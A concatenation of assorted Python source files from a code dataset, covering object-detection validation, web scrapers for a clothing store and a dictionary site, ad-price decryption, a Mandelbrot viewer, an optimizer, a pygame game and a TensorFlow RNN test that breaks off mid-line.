0.25\niou_threshold_summary = 0.25\nconf_threshold_out = 0.01\nn_box = 5\n\ngrid_w = int(img_w / box_size[1])\ngrid_h = int(img_h / box_size[0])\nout_len = 5 + nclazz\nfin_size = n_box * out_len\ninput_vec = [grid_w, grid_h, n_box, out_len]\nanchors = np.array(anchors)\n\nfor xx in range(epochstart, nepochs):\n\n save_path = save_dir + save_name + str(xx) + \".pt\" \n print(save_path)\n\n if use_meta:\n animal_dataset_valid = AnimalBoundBoxMetaDataset(root_dir=files_location,\n inputvec=input_vec,\n anchors=anchors,\n maxann=max_annotations,\n metacolumn=colz,\n transform=transforms.Compose([\n MakeMat(input_vec, anchors),\n ToTensor()\n ]),\n gray=grey_tf,\n based=basedir\n )\n else:\n animal_dataset_valid = AnimalBoundBoxDataset(root_dir=files_location,\n inputvec=input_vec,\n anchors=anchors,\n maxann=max_annotations,\n transform=transforms.Compose([\n MakeMat(input_vec, anchors),\n ToTensor()\n ]),\n gray=grey_tf\n )\n\n animalloader_valid = DataLoader(animal_dataset_valid, batch_size=1, shuffle=False)\n\n layerlist = get_weights(weightspath)\n\n if metadata_end:\n net = YoloNetMeta(layerlist, fin_size, channels_in)\n else:\n net = YoloNetOrig(layerlist, fin_size, channels_in)\n net = net.to(device)\n net.load_state_dict(torch.load(save_path))\n net.eval()\n\n tptp = 0\n fpfp = 0\n fnfn = 0\n i = 0\n\n boxes_out_all = pd.DataFrame(columns=['xc', 'yc', 'wid', 'hei', 'file', 'conf', 'class','tp'])\n scores_out_all = []\n classes_out_all = []\n\n tottrue = 0\n tottps = 0\n\n for idx, data in enumerate(animalloader_valid):\n print(idx, \"of\", len(animalloader_valid))\n images = data[\"image\"]\n images = images.to(device)\n bndbxs = data[\"bndbxs\"]\n bndbxs_np = bndbxs.cpu().numpy()\n bndbxs_pd = pd.DataFrame(data=bndbxs_np[0,:,:], columns=['class', 'xc', 'yc', 'wid', 'hei'])\n y_true = data[\"y_true\"]\n y_true = y_true.to(device)\n filen = data[\"name\"]\n y_pred = net(images)\n pboxes, tottr, tottp = accuracyiou(y_pred, bndbxs, filen, anchors, conf_threshold_summary, iou_threshold_summary)\n if (tottp > tottr):\n print(tottr, tottp, np.sum(pboxes.tp))\n tottrue += tottr\n tottps += tottp\n #print(\"tt\", tottrue, \"tp\", tottps)\n tptp += np.sum(pboxes.tp)\n fpfp += pboxes.shape[0] - np.sum(pboxes.tp)\n y_pred_np = y_pred.data.cpu().numpy()\n output_img = yolo_output_to_box_vec(y_pred_np, filen, anchors, bndbxs_pd, nms_threshold_out, conf_threshold_out)\n boxes_out_all = boxes_out_all.append(output_img, ignore_index=True)\n i += 1\n print(\"epoch\", xx, \"TP\", tottps, \"FP\", fpfp, \"FN\", (tottrue - tottps), \"Recall\", np.round(tottps / tottrue, 3), \"FPPI\", np.round(fpfp / valid_imgs, 2))\n output_path = save_dir + \"boxes_out\" + str(xx) + \".csv\"\n boxes_out_all.to_csv(output_path)\n\n","sub_path":"src/valid_yolo.py","file_name":"valid_yolo.py","file_ext":"py","file_size_in_byte":5514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"101786579","text":"class Car(object):\n speed = 0\n num_of_doors = 4\n num_of_wheels = 4\n\n def __init__(self,car_name='General',car_model='GM',car_type=''):\n self.car_type = car_type\n self.name = car_name\n self.model = car_model\n if car_name == 'Porshe' or car_name == 'Koenigsegg':\n self.num_of_doors = 2\n elif car_type == 'trailer':\n self.num_of_wheels = 8\n\n def drive(self,i):\n return self\n\n def is_saloon(self):\n if self.car_type == 'trailer':\n self.car_type = Car('Nissan','ns-gt','saloon')\n return self.car_type\n","sub_path":"Day 1/Andela labs/class_car.py","file_name":"class_car.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"108345617","text":"import datetime\r\nimport requests\r\nimport json\r\nimport os\r\nimport pandas as pd\r\nfrom bs4 import BeautifulSoup\r\nfrom urllib import request\r\n\r\n\r\ntable = []\r\ntable1 = []\r\n\r\ndef replace_illegal_characters(string):\r\n mark = ['*', '|', '\\\\', ':', '\\\"', '<', '>', '?', '/']\r\n for r in mark:\r\n string = string.replace(r, '')\r\n return string\r\n\r\n\r\n\r\ndef get_web(url, z, i):\r\n payloadData = {\"data\": {\"conditionList\": [{\"key\": \"type\", \"value\": [\"0\"], \"valueType\": \"basic\"},\r\n {\"key\": \"saleStatus\", \"value\": [1], \"valueType\": \"basic\"},\r\n {\"key\": \"brandCode\", \"value\": [\"BR2019071600000003\"],\r\n \"valueType\": \"basic\"},\r\n {\"key\": \"parentCategoryCode\", \"value\": z, \"valueType\": \"basic\"},\r\n {\"key\": \"labelCode\",\r\n \"value\": [\"afd0be1fdd3e4b08a858c0f28e140170\"],\r\n \"valueType\": \"list\"}],\r\n \"notIncludeSpuCodeList\": [], \"channelCode\": 100, \"storeCode\": 1907038436},\r\n \"page\": i,\r\n \"size\": 32}\r\n\r\n payloadHeader = {\"Host\": \"api.gap.tw\", \"Content-Type\": \"application/json;charset=UTF-8\"}\r\n\r\n resp = requests.post(\r\n url,\r\n data=json.dumps(payloadData),\r\n headers=payloadHeader\r\n )\r\n if resp.status_code != 200:\r\n print('Invalid url:', resp.url)\r\n return None\r\n else:\r\n pass\r\n # 利用BeautifulSoup将获取到的文本解析成HTML\r\n soup = BeautifulSoup(resp.text, 'html.parser')\r\n js = json.loads(soup.text)\r\n js_data = js['data']['productList']\r\n return js_data\r\n\r\n\r\ndef download(js_data, pic_path, pic_gender):\r\n recode_debug = set()\r\n for product in js_data:\r\n try:\r\n if os.path.exists(pic_path):\r\n with open(pic_path +r'/'+ 'recode.txt', 'r', encoding='utf-8') as f:\r\n for totle in f.readlines():\r\n recode_debug.add(totle.replace('\\n', ''))\r\n except:\r\n print(\"還未建立檢查資料集\")\r\n id1 = product['spuCode']\r\n name = product[\"title\"]\r\n price = product['listPrice']\r\n sale_price = product['salePrice']\r\n img_url = product['itemImageList'][0]['picUrl']\r\n date_1 = product['listTime']\r\n if date_1 is None:\r\n date = product['listTime']\r\n else:\r\n date = product['listTime']\r\n style = product['style']\r\n sales = product['sales']\r\n type_1 = product['attrList'][0]['attributeValueList']\r\n if type_1 is None:\r\n type1 = product['attrList'][0]['attributeValueList']\r\n else:\r\n type1 = product['attrList'][0]['attributeValueList'][0][\"attributeValueFrontName\"]\r\n color = product['attrSaleList'][0]['attributeValueList'][0]['attributeValueName']\r\n title = replace_illegal_characters(str(name))\r\n if id1 in recode_debug :\r\n print('ID有重複')\r\n continue\r\n else:\r\n if os.path.exists(pic_path):\r\n with open(pic_path + r'/' + 'recode.txt', 'a', encoding='utf-8') as f:\r\n f.write(id1 + '\\n')\r\n print('ID沒有重複')\r\n\r\n a = id1\r\n b = title\r\n c = price\r\n d = sale_price\r\n e = style\r\n f = sales\r\n g = type1\r\n h = color\r\n i = date\r\n j = img_url\r\n table.append([a, b, c, d, e, f, g, h, i, j])\r\n\r\n path_dir_each = pic_path + '/' + pic_gender\r\n if not os.path.exists(path_dir_each):\r\n os.mkdir(path_dir_each)\r\n\r\n # 圖案檔案存檔的語法\r\n request.urlretrieve(j, path_dir_each + '/' + '%s' % a + '.jpg')\r\n\r\n\r\n\r\ndef path_dir(dir):\r\n if not os.path.exists(dir):\r\n os.mkdir(dir)\r\n return dir\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n url = 'https://api.gap.tw/store/product/list/searchProductByCondition.do'\r\n gender = ['man', 'woman']\r\n gender_list = [[\"19082100002461\"], [\"19082100002378\"]]\r\n gender_2 = [([\"19082100002461\"], 'man'), ([\"19082100002378\"], 'woman')]\r\n\r\n print('#' * 50)\r\n t1 = datetime.datetime.now()\r\n page = 4\r\n p = r'./gap'\r\n # for z,y in gender_2:\r\n # for j in range(0,page):\r\n # print(z,y)\r\n # try:\r\n # js = get_web(url, z, j)\r\n # path = path_dir(p)\r\n # download(js, path, y)\r\n #\r\n # df = pd.DataFrame(table,\r\n # columns=['id', 'name', 'price', 'sale_price', 'style', 'sales', 'type', 'color',\r\n # 'date', 'url'])\r\n # print(df)\r\n # df.to_csv(path + '/' + 'gap.csv', index=False)\r\n # except:\r\n # pass\r\n for q, manandwoman in zip(gender_list, gender):\r\n for cc in range(0, page):\r\n print(q, manandwoman)\r\n try:\r\n js = get_web(url, q, cc)\r\n path = path_dir(p)\r\n download(js, path, manandwoman)\r\n # 将table转化为pandas中的DataFrame并保存为CSV格式的文件\r\n except:\r\n pass\r\n df = pd.DataFrame(table, columns=['id', 'name', 'price', 'sale_price', 'style', 'sales', 'type', 'color',\r\n 'date', 'url'])\r\n if os.path.exists(p+'/'+'gap1.csv'):\r\n df.to_csv(p + '/' + 'gap1.csv', mode='a+', index=False, encoding='utf-8', header=False)\r\n else:\r\n df.to_csv(p + '/' + 'gap1.csv', mode='a+', index=False, encoding='utf-8', header=True)\r\n\r\n # for z in gender_list:\r\n # if z == [\"19082100002461\"]:\r\n # for y in range(0, page):\r\n # print('\\n', '=== 第', y + 1, '頁 ====', '\\n')\r\n # print('ok')\r\n # try:\r\n # js = get_web(url, gender_list[0], y)\r\n # path = path_dir(p)\r\n # download(js, path, gender[0])\r\n # \r\n # df = pd.DataFrame(table,\r\n # columns=['id', 'name', 'price', 'sale_price', 'style', 'sales', 'type', 'color',\r\n # 'date', 'url'])\r\n # df.to_csv(path + '/' + 'gap.csv', index=False)\r\n # print(df)\r\n # except Exception as e:\r\n # print(e)\r\n # pass\r\n # else:\r\n # for y in range(0, page):\r\n # print('\\n', '=== 第', y + 1, '��� ====', '\\n')\r\n # print('ok')\r\n #\r\n # try:\r\n #\r\n # js = get_web(url, gender_list[1], y)\r\n # path = path_dir(p)\r\n # download(js, path, gender[1])\r\n\r\n # df = pd.DataFrame(table,\r\n # columns=['id', 'name', 'price', 'sale_price', 'style', 'sales', 'type', 'color',\r\n # 'date', 'url'])\r\n # df.to_csv(path + '/' + 'gap.csv', index=False)\r\n # print(df)\r\n # except Exception as e:\r\n # print(e)\r\n # pass\r\n t2 = datetime.datetime.now() # 结束时间\r\n time_diff = t2 - t1\r\n # execution_time = time_diff.total_seconds()\r\n\r\n print('#' * 50)\r\n'''\r\n\r\n'''","sub_path":"gap_v3.py","file_name":"gap_v3.py","file_ext":"py","file_size_in_byte":7646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"416203788","text":"#!/usr/bin/env python3\n# _*_ coding: utf-8 _*_\n\nimport math\n\n\ndef multi_isinstance ( a, b, c ) :\n z = [False for i in (a, b, c) if not isinstance ( i, (int, float))]\n if z :\n return False\n else :\n return True\n\n\ndef quadratic(a, b, c):\n if not multi_isinstance(a, b, c):\n raise TypeError(' Bad operand type')\n\n if a == 0:\n x1 = -(c / b)\n x2 = x1\n elif (b * b - 4 * a * c) < 0:\n return None\n else:\n x1 = (-b + math.sqrt(b * b - 4 * a * c)) / (2 * a)\n x2 = (-b - math.sqrt(b * b - 4 * a * c)) / (2 * a)\n return x1, x2\n\n\nprint(quadratic(25, 5, 3))\n\n","sub_path":"quadratic.py","file_name":"quadratic.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"325856131","text":"from lxml import html\nimport requests, time\n\nstart_time = time.time() # 初始时间戳\n\n# ========================输入区开始========================\nsearch_term = \"fake\" # 搜索的关键词\nsearch_url = \"http://youdao.com/w/eng/\" + search_term # 完整搜索网址\n\n# ========================执行区开始========================\npage = requests.get(search_url)\ntree = html.fromstring(page.text)\n# ====================音标====================\n# nation = tree.xpath('//div[@class=\"baav\"][1]/span/text()') # 国别\nphonogram = tree.xpath('//div[@class=\"baav\"][1]/span[@class=\"pronounce\"]/span/text()') # 音标\n# text = ''.join(phonogram) # 音标文本\n# phonogram_text = text.strip() # 格式化音标文本\nprint(\"音标:\\n\" + phonogram[0]) # 打印格式化音标文本\n# ====================释义====================\ninfo = tree.xpath('//div[@class=\"trans-container\"][1]//li/text()') # 释义\ntext = '\\r\\n'.join(info) # 释义文本\ndefinition = text.strip() # 格式化释义文本\nprint(\"释义:\\n\" + definition) # 打印格式化释义文本\n\n# # ====================网络释义====================\ninfo = tree.xpath('//div[@id=\"webTransToggle\"]//span/text()') # 释义\ntext = '\\r\\n'.join(info) # 释义文本\nweb_definition = text.strip() # 格式化释义文本\nprint(\"网络释义:\\n\" + web_definition) # 打印格式化释义文本\n#\n# # ====================短语====================\n# info = tree.xpath('//div[@class=\"trans-container\"][2]//li/text()') # 释义\n# text = '\\r\\n'.join(info) # 释义文本\n# trim_text = text.strip() # 格式化释义文本\n# print(\"释义:\\n\" + trim_text) # 打印格式化释义文本\n#\n# # ====================双语例句====================\n# info = tree.xpath('//div[@class=\"trans-container\"][2]//li/text()') # 释义\n# text = '\\r\\n'.join(info) # 释义文本\n# trim_text = text.strip() # 格式化释义文本\n# print(\"释义:\\n\" + trim_text) # 打印格式化释义文本\n\n# ================运行时间计时================\nrun_time = time.time() - start_time\nif run_time < 60: # 两位小数的秒\n print(\"耗时:{:.2f}秒\".format(run_time))\nelif run_time < 3600: # 分秒取整\n print(\"耗时:{:.0f}分{:.0f}秒\".format(run_time // 60, run_time % 60))\nelse: # 时分秒取整\n print(\"耗时:{:.0f}时{:.0f}分{:.0f}秒\".format(run_time // 3600, run_time % 3600 // 60, run_time % 60))\n","sub_path":"查询-有道查词.py","file_name":"查询-有道查词.py","file_ext":"py","file_size_in_byte":2387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"350266948","text":"import base64\nimport sha\nimport hmac\nimport binascii\nimport time\nimport datetime\nfrom struct import *\nfrom hashlib import sha1\nimport sys,os\ndirname = os.path.abspath(os.path.dirname(__file__)) \ndirsep = os.sep\nsys.path.append( os.sep.join( [ os.path.dirname(os.path.abspath(__file__)) , '..', 'Realtimebidding', 'protocolbuf' ] ) )\nimport realtime_bidding_pb2\nclass Decryption:\n def __init__( self, encryption_encoded_key, integrity_encoded_key, iv_length, is_length, byte_length ) :\n self.encryption_key = self._urlsafe_b64decode( encryption_encoded_key );\n self.integrity_key = self._urlsafe_b64decode( integrity_encoded_key );\n self.iv_length = iv_length;\n self.is_length = is_length;\n self.byte_length = byte_length;\n\n def run( self, long_ciphertext ):\n initialization_vector, ciphertext, integrity_signature = self._parse_long_ciphertext( long_ciphertext );\n plaintext = self._get_plaintext( ciphertext, initialization_vector );\n if( self._check_signature( plaintext, initialization_vector, integrity_signature) ) :\n return { \n \"plaintext\" : plaintext,\n \"datetime\" : self._get_date( initialization_vector )\n }\n else :\n return { \"error\" : \"Wrong Decription\" };\n \n def deserialize_bid_request( self, serialized_protocol_buffer ):\n bid_request = realtime_bidding_pb2.BidRequest();\n bid_request.ParseFromString( serialized_protocol_buffer ) ;\n return ( bid_request );\n\n def _parse_long_ciphertext( self, long_ciphertext ):\n initialization_vector = long_ciphertext[ 0: self.iv_length];\n ciphertext = long_ciphertext[ self.iv_length: -self.is_length ];\n integrity_signature = long_ciphertext[-self.is_length:];\n return [ initialization_vector, ciphertext, integrity_signature ]; \n \n def _get_plaintext( self, ciphertext, iv ):\n plaintext = [];\n add_iv_counter_byte = True;\n n = 0;\n while( len( ciphertext ) > n * self.byte_length ):\n data = ciphertext[ n * self.byte_length: (n+1)*self.byte_length ];\n pad = hmac.new( self.encryption_key, iv , sha1).hexdigest()\n pad = binascii.unhexlify(pad ); \n byte_array = unpack( str(len(data)) + \"B\", data);\n pad = unpack(\"20B\", pad );\n for key in range(len(byte_array)) :\n plaintext.append( chr( byte_array[key] ^ pad[key] ) );\n \n if add_iv_counter_byte == False :\n if( n % 256 == 0 ):\n add_iv_counter_byte = True;\n iv = self._add_initialization_vector( iv );\n \n if (add_iv_counter_byte) :\n add_iv_counter_byte = False;\n iv += \"\\x00\";\n n += 1\n return \"\".join( plaintext );\n \n def _check_signature( self, plaintext, initialization_vector, integrity_signature):\n hex_signature = hmac.new( self.integrity_key, plaintext + initialization_vector, sha1).hexdigest() \n Signature = binascii.unhexlify( hex_signature );\n computedSignature = Signature[ 0 : self.is_length ];\n return computedSignature == integrity_signature;\n \n def _add_initialization_vector( self, iv ):\n arr = unpack( str( len(iv) ) + \"c\" ,iv);\n res = [];\n for key in range(len(arr)) :\n value = arr[key]\n if( len(arr) - 1 == key ):\n bin_value = pack( \"h\",int( binascii.hexlify( value ) ) + 1 );\n value = unpack( str(len(bin_value)) + \"c\", bin_value )[0]; \n res.append( pack(\"c\", value ));\n return ''.join(res);\n \n def _get_date( self, iv ):\n sec = unpack( \">i\" , iv[ 0: 4 ] );\n usec = unpack( \">i\" , iv[ 4: 8 ] );\n timestamp = ( sec[0] + usec[0] / 1000 );\n return datetime.datetime.fromtimestamp(timestamp).strftime(\"%Y/%m/%d %H:%M:%S\");\n\n def _urlsafe_b64decode( self, s ):\n return base64.urlsafe_b64decode(s + '=' * (4 - len(s) % 4))\n","sub_path":"python/lib/Decryption.py","file_name":"Decryption.py","file_ext":"py","file_size_in_byte":4077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"536320773","text":"from selenium import webdriver\nimport os,time\n\ndriver=webdriver.Firefox()\nfile_path='file:///'+ os.path.abspath('checkbox.html')\ndriver.get(file_path)\n\n'''\ninput_tag=driver.find_elements_by_tag_name(\"input\")\nfor i in input_tag:\n if i.get_attribute('type')== 'checkbox':\n i.click()\n time.sleep(1)\n else:\n print(i.get_attribute('type'))\n'''\n#input_tag=driver.find_elements_by_xpath(\"//input[@type='checkbox']\")\ninput_tag=driver.find_elements_by_css_selector(\"[type='checkbox']\")\nprint(input_tag)\n\nfor i in input_tag:\n i.click()\n time.sleep(1)\n\nprint(\"type为checkbox的input_tag有\"+str(len(input_tag))+\"个\")\nprint(\"type为checkbox的input_tag有\",len(input_tag),\"个\")\ndriver.find_elements_by_css_selector(\"[type='checkbox']\").pop(3).click() #pop()方法用于获取列表中的一个元素,默认为最后一个元素","sub_path":"webdriver/find_elements.py","file_name":"find_elements.py","file_ext":"py","file_size_in_byte":853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"65000528","text":"import pygame\nfrom pygame.locals import *\nimport math\n\npygame.init()\n\nWIDTH = 400\nHEIGHT = 400\n\n\"\"\"\ndef factory(c):\n def func(x):\n return x*x + c\n return func\n\"\"\"\n \ndef hue(x):\n return 360/math.exp(x/50)\n \nscreen = pygame.display.set_mode((WIDTH, HEIGHT))\n\npxarray = pygame.PixelArray(screen)\n\nx_width = 2\nx_left = -1.5\ny_height = 2\ny_bottom = -1\nzoom = 1\n\ndef populate():\n global pxarray\n C = pygame.Color(0,0,0)\n cap = max(8, (10^9)/(zoom*zoom))\n for x in range(WIDTH):\n for y in range(HEIGHT):\n c = complex(x_left + (x/WIDTH)*x_width, y_bottom + (y/HEIGHT)*y_height)\n i = 0\n res = 0\n while i < 50 and abs(res) < cap:\n res = res*res + c\n i += 1\n if abs(res) < 2:\n pxarray[x, y] = (0,0,0)\n else:\n \"\"\"\n c = colour(i)\n pxarray[x, y] = (c, c, 255-c)\n \"\"\"\n C.hsva = (hue(i), 50, 50, 100)\n pxarray[x, y] = C\n pygame.display.update()\n \npopulate()\npygame.display.update()\nwhile True:\n for ev in pygame.event.get():\n if ev.type == QUIT:\n pygame.quit()\n break\n elif ev.type == MOUSEBUTTONDOWN:\n nx, ny = ev.pos\n cx = nx/WIDTH * x_width + x_left\n cy = ny/HEIGHT * y_height + y_bottom\n x_width /= 4\n y_height /= 4\n x_left = cx - x_width/2\n y_bottom = cy - y_height/2\n zoom *= 4\n pygame.display.set_caption(\"Zoom level: {}\".format(zoom))\n populate()\n pygame.display.update()","sub_path":"mandelbrotConstant.py","file_name":"mandelbrotConstant.py","file_ext":"py","file_size_in_byte":1683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"447016653","text":"\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# example taken from machine learningan algorithmic perspective\n# function is f(x_1, x_2) = 100 * (x_2 - x_1^2)^2 + (1 - x_1)^2\n# corresponding r(x) = (10(x_2 - x_1^2), 1 - x_1)\ndef f(p):\n # print(p)\n r = np.array([10 * (p[1] - p[0] ** 2), 1 - p[0]])\n # print(r)\n f_value = r.T.dot(r)\n # print(f_value)\n J = np.array([[-20 * p[0], 10], [-1, 0]])\n # print(J)\n grad = J.T.dot(r.T)\n # print(grad)\n return r, f_value, J, grad\n\n\nclass levMar(object):\n\n def __init__(self, p0, function, tol=1e-5, max_iter=100):\n self.p0 = p0\n self.tol = tol\n self.max_iter = max_iter\n self.function = function\n self.p_history = []\n self.f_history = []\n\n # implement its pseudo code here\n def optimize(self):\n n_variables = self.p0.shape[0]\n v = 0.01\n p = self.p0\n r, f_value, J, grad = f(p)\n e = np.sum(r.T.dot(r))\n current_iter = 0\n while current_iter < self.max_iter and np.linalg.norm(grad) > self.tol:\n current_iter += 1\n r, f_value, J, grad = f(p)\n H = J.T.dot(J) + v * np.eye(n_variables)\n\n p_new = np.zeros(self.p0.shape)\n inner_iter = 0\n while (p != p_new).all() and inner_iter < self.max_iter:\n inner_iter += 1\n dp, resid, rank, s = np.linalg.lstsq(H, grad)\n p_new = p - dp\n r_new, f_value_new, J_new, grad_new = f(p_new)\n e_new = np.sum(r_new.T.dot(r_new))\n actual = np.linalg.norm(r.T.dot(r) - r_new.T.dot(r_new))\n predicted = np.linalg.norm(grad.T.dot(p_new - p))\n rho = actual / predicted\n # print(rho)\n\n if rho > 0:\n p = p_new\n e = e_new\n if rho > 0.25:\n v /= 10\n else:\n v *= 10\n print(f_value, p, e, np.linalg.norm(grad), v)\n self.p_history.append(p)\n self.f_history.append(f_value)\n\n def plot(self):\n iter = np.arange(len(self.f_history))\n plt.title('Levenberg–Marquardt algorithm result')\n plt.xlabel('iteration')\n plt.ylabel('function value')\n plt.plot(iter, self.f_history, 'bo')\n plt.plot(iter, self.f_history, 'g-')\n plt.show()\n\n\nif __name__ == '__main__':\n p = np.array([-1, 2])\n # f(p)\n lm_object = levMar(p, f(p))\n lm_object.optimize()\n lm_object.plot()\n\n\n\n\n\n","sub_path":"homework4_LM_method/homework4_LMmethod.py","file_name":"homework4_LMmethod.py","file_ext":"py","file_size_in_byte":2576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"196763439","text":"import os, sys, time\n\npeticiones_fifo = 'fifo_peticiones'\nrespuestas_fifo = 'fifo_respuestas'\n\nif not os.path.exists(peticiones_fifo):\n os.mkfifo(peticiones_fifo)\n\nif not os.path.exists(respuestas_fifo):\n os.mkfifo(respuestas_fifo)\n\ndef servidor():\n peticion = os.open(peticiones_fifo, os.O_RDONLY)\n #abrimos la fifo peticiones en modo lectura\n respuesta = os.open(respuestas_fifo, os.O_WRONLY)\n #abrimos la fifo respuestas en modo escritura\n\n fichero_pedido = os.read(peticion,2000)\n fichero = os.open(fichero_pedido, os.O_RDONLY)\n\n leer = os.read(fichero,1000)\n\n os.write(respuesta, leer)\n \n os.close(fichero)\n os.close(peticion)\n os.close(respuesta)\n\n\n\n\n\nif __name__ == '__main__':\n\tservidor()\n","sub_path":"practicas/fra/PRR/copia_trabajo/p3/fran_fifos/serv3.py","file_name":"serv3.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"523400798","text":"import math\nimport random\nimport pygame as pg\n\npower=5#7\nBalltimes=0\nBallSize=50\ndanger=10#20#60\ndistance=50#90\nRed_Count=5\nHP=20\n\ncl=pg.time.Clock()\n\npg.init()\nscreen=pg.display.set_mode([1024,768])\nwhite=pg.color.Color('#FFFFFF')\nblack=pg.color.Color('#000000')\ngray=pg.color.Color('#888888')\nred=pg.color.Color('#882222')\nyellow=pg.color.Color('#FFFF00')\n\n\n\nNow_Move=0\nMy_image=pg.image.load('triangle0001.png')\nBall_image=pg.image.load('yellowball.png')\nWhool_image=pg.image.load('whool.png')\nMy_X=512\nMy_Y=710\nMy_Speed=1\nMy_Size=20\n\nShoot_X=My_X\nShoot_Y=My_Y\n\n\nclass they():\n def __init__(self):\n self.they_Speed=1\n self.they_Angel=0\n self.they_Size=20\n self.they_Y=500\n self.they_X=150\n def SetAngel(self,n):\n self.they_Angel=n\n def SetXY(self,x,y):\n self.they_X=x\n self.they_Y=y\n def going(self):\n self.they_X += self.they_Speed * math.sin(math.radians(self.they_Angel))\n self.they_Y -= self.they_Speed * math.cos(math.radians(self.they_Angel))\n def tempX(self):\n return self.they_X +(self.they_Speed * math.sin(math.radians(self.they_Angel)))*danger\n def tempY(self):\n return self.they_Y -(self.they_Speed * math.cos(math.radians(self.they_Angel)))*danger\n '''if 1024>self.they_X>0 or 768>self.they_Y>0:\n self.they_X=0\n self.they_Y=0'''\nThey_Array=[]\nThey2_Array=[]\ntempX=512-150\ntempY=380-150\nfor i in range(0,24000):\n tempX=tempX+random.randint(-5,5)\n tempY=tempY+random.randint(-5,5)\n obj=they()\n They_Array.append(obj)\n They_Array[i].SetAngel(i**2.1) \n They_Array[i].SetXY(tempX,tempY)\n obj2=they()\n They2_Array.append(obj2)\n They2_Array[i].SetAngel((i)**1.5)\n They2_Array[i].SetXY(tempX,tempY)\npass\nrotateAngel=0\nEndCheck=0\nxx=0\nyy=0\nj=0\nNow_flag=0\nwhile (EndCheck==0):\n Balltimes+=1\n pg.display.flip()\n screen.fill(black)\n for event in pg.event.get():\n if event.type==pg.QUIT:\n EndCheck=1\n pass\n pass\n keys=pg.key.get_pressed()\n if keys[pg.K_w]:\n My_Y-=My_Speed\n if keys[pg.K_a]:\n My_X-=My_Speed\n if keys[pg.K_s]:\n My_Y+=My_Speed\n if keys[pg.K_d]:\n My_X+=My_Speed\n \n if Now_Move==1:\n My_X-=My_Speed\n if Now_Move==2:\n My_X+=My_Speed\n\t\n if My_X<0:\n My_X=0\n if My_Y<0:\n My_Y=0\n if My_X>980:\n My_X=980\n if My_Y>700:\n My_Y=700\n screen.blit(My_image,(My_X,My_Y))\n Now_flag=0\n for i in range(0,24000,power): \n if i==0:\n \n j+=1\n if j>=30:\n j=0\n rotateAngel+=random.randint(90,90)\n pass \n pg.draw.ellipse(screen,red,[xx-25+random.randint(-5,5),yy-25+random.randint(-5,5),200,200])\n #screen.blit(pg.transform.rotate(Whool_image,rotateAngel),(xx+,yy))\n if Balltimes>=(i)*power:\n #if math.sqrt(((They_Array[i].they_X-(My_X))**2+(They_Array[i].they_Y-(My_Y))**2))<=distance:\n #EndCheck=1\n #if math.sqrt(((They2_Array[i].they_X-(My_X))**2+(They2_Array[i].they_Y-(My_Y))**2))<=distance:\n #EndCheck=1\n \n if math.sqrt(((They_Array[i].tempX()-My_X)**2+(They_Array[i].tempY()-My_Y)**2))<=distance:\n if They_Array[i].tempX()>My_X:\n Now_Move=1\n elif They_Array[i].tempX()My_X:\n Now_Move=1\n elif They2_Array[i].tempX()They_Array[i].they_X>0 and 768>They_Array[i].they_Y>0:\n pg.draw.ellipse(screen,yellow,[They_Array[i].they_X,They_Array[i].they_Y,BallSize,BallSize])\n if 1024>They2_Array[i].they_X>0 and 768>They2_Array[i].they_Y>0:\n pg.draw.ellipse(screen,yellow,[They2_Array[i].they_X,They2_Array[i].they_Y,BallSize,BallSize])\n #pg.draw.ellipse(screen,red,[xx+20+random.randint(-10,10),yy+20+random.randint(-10,10),150,150])\n else:\n xx=They_Array[i+1].they_X\n yy=They_Array[i+1].they_Y\n break\n pass\n pass\n pg.draw.rect(screen,red,[0,0,HP*10,30])\n Shoot_Y-=1\n if yyShoot_X>xx-120:\n Shoot_Y=My_Y\n Shoot_X=My_X+20\n Red_Count=0\n red=pg.color.Color('#996666')\n HP-=1\n elif Shoot_Y<0:\n Shoot_Y=My_Y\n Shoot_X=My_X+20\n pg.draw.rect(screen,gray,[Shoot_X,Shoot_Y,10,30])\n if Now_flag==0:\n if My_Xxx+120:\n Now_Move=1\n else:\n Now_Move=0\n screen.blit(pg.transform.rotate(Whool_image,rotateAngel),(xx-0,yy-0))\n if Red_Count<30:\n Red_Count+=1\n else:\n red=pg.color.Color('#882222')\n #cl.tick(300)\npg.quit()\n","sub_path":"python彈幕/彈幕0006/Pygame_Test0001.py","file_name":"Pygame_Test0001.py","file_ext":"py","file_size_in_byte":5430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"633883517","text":"\"\"\" \n@author: zoutai\n@file: testRnn.py \n@time: 2018/11/19 \n@description: \n\"\"\"\n\n#coding=utf-8\nimport tensorflow as tf\nimport numpy as np\n# 创建输入数据\nX = np.random.randn(2, 10, 8)\n\n# 第二个example长度为6\nX[1,6:] = 0\nX_lengths = [10, 6]\n\ncell = tf.contrib.rnn.BasicLSTMCell(num_units=5, state_is_tuple=True)\n\noutputs, last_states = tf.nn.dynamic_rnn(\n cell=cell,\n dtype=tf.float64,\n sequence_length=X_lengths,\n inputs=X)\n\nresult = tf.contrib.learn.run_n(\n {\"outputs\": outputs, \"last_states\": last_states},\n n=1,\n feed_dict=None)\na = result[0]\nprint(a)\n\nassert result[0][\"outputs\"].shape == (2, 10, 5)\n\n# 第二个example中的outputs超过6步(7-10步)的值应该为0\nassert (result[0][\"outputs\"][1,7,:] == 